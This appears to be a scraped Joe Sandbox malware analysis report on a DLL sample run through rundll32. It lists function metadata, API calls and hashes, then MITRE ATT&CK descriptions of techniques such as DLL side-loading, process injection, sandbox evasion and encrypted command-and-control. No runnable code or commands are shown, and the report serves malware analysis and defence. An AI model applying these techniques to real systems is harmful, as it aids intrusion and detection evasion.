API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 30517a3b9dced8703cc48e78c43ef5504f0f25c1bab7312c22cb9a727bd8d13b
Instruction ID: a346450a17862f2d572a62213856802eb06effed2dd63387ee0b1c28c125e7fd
Opcode Fuzzy Hash: 30517a3b9dced8703cc48e78c43ef5504f0f25c1bab7312c22cb9a727bd8d13b
Instruction Fuzzy Hash: B8F01C3650AA15BBCF521F92DC0498D3F76FF0A7F1B088010FA1895164C632D8319F90

Function 6F9E51CF Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 6F9E51F4

Strings

RCC, xrefs: 6F9E520E
MOC, xrefs: 6F9E5206

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 7f567eecfe678610b5cef0a2f79b4c9210ae199e2cb6a3cdc72f9ee9efced074
Instruction ID: 7181ef55fda0e5629bce5e0589bcddf746c721b565cb50da6ae142922ba2d515
Opcode Fuzzy Hash: 7f567eecfe678610b5cef0a2f79b4c9210ae199e2cb6a3cdc72f9ee9efced074
Instruction Fuzzy Hash: F3416832A00209AFCF02CFA8CC80AEE7BB9FF49314F148199F915A7291D735E950DB51

Function 6F9EFD31 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

mydllmain.DLL1(00000FA0,-00000020,6F9F033F,6F9F033F,-00000020,00000FA0,00000000,00000000,?,?), ref: 6F9EFD61
InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,6F9F033F,-00000020,00000FA0,00000000,00000000,?,?), ref: 6F9EFD71

Strings

InitializeCriticalSectionEx, xrefs: 6F9EFD41

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpinmydllmain
String ID: InitializeCriticalSectionEx
API String ID: 3077948437-3084827643
Opcode ID: c37533a60aea342b14aa58079f67d55610bf7ee06076d1c7079a28a23d2ba90f
Instruction ID: ebf86ec77776e403c7eab09ca27d9bd56e07b3ccbeb410d9829cd61b024731fc
Opcode Fuzzy Hash: c37533a60aea342b14aa58079f67d55610bf7ee06076d1c7079a28a23d2ba90f
Instruction Fuzzy Hash: F0E09231442519B7CF221F60DC04D9D3F26DF80779F008012FA2C552D0C732D8619BD0

Function 6F9EFCEF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

mydllmain.DLL1(?,00000001,6F9E60D4,00000001,?,6F9EC1F7,?,?,?,?,?,00000000,6F9EAAAA,?,00000000,00000001), ref: 6F9EFD1C

Strings

ccs, xrefs: 6F9EFCF5
FlsSetValue, xrefs: 6F9EFCFF

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: mydllmain
String ID: FlsSetValue$ccs
API String ID: 979097349-2990521015
Opcode ID: 60e5aac3eda4c1bb2c9dc37df7179b4ab5dfff16b2bc96bc2c1489be20f95b11
Instruction ID: 2df782de406a8d0de655af6ac295f089cd7ee8a57e0e35dfae345fec7d5435b3
Opcode Fuzzy Hash: 60e5aac3eda4c1bb2c9dc37df7179b4ab5dfff16b2bc96bc2c1489be20f95b11
Instruction Fuzzy Hash: 93E0CD3254252973DA212F91AC08DD97F29DBC06B9B048063FF18962D0DA31D861D7D1

Function 6F9EFC32 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

mydllmain.DLL1(?), ref: 6F9EFC5C
TlsAlloc.KERNEL32 ref: 6F9EFC66

Strings

FlsAlloc, xrefs: 6F9EFC42

Memory Dump Source

Source File: 00000003.00000002.2057630096.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2057615506.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057651853.000000006F9FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057668761.000000006FA03000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2057685142.000000006FA05000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: Allocmydllmain
String ID: FlsAlloc
API String ID: 2444374858-671089009
Opcode ID: 5d62a881fa14e11daa6522b692d7289d625f78807a1c4edb83c72af99d191f4f
Instruction ID: a7bd659a1ef523b56b66f01a8083a3fbed3ef9ff4d840c06664dea7a40f12a26
Opcode Fuzzy Hash: 5d62a881fa14e11daa6522b692d7289d625f78807a1c4edb83c72af99d191f4f
Instruction Fuzzy Hash: FBE0C23198692573CA322F54BD0899A7E19CFE1BBDB054023FF14953C19A20D81297E1

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Dll1.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

Windows Analysis Report
Dll1.dll

Function 6F9E1629 Relevance: 37.0, APIs: 12, Strings: 9, Instructions: 291
filesleepCOMMONLIBRARYCODE

Function 6F9E2959 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156
sleepCOMMONLIBRARYCODE

Function 6F9E140F Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 159
processsleepCOMMONLIBRARYCODE

Function 6F9E3013 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Function 6F9E30C3 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Function 6F9E2F0C Relevance: 4.6, APIs: 3, Instructions: 76
COMMON

Function 6F9EE5D8 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 6F9F2E90 Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Function 6F9F2E87 Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Function 6F9EF9D8 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Function 6F9E1000 Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE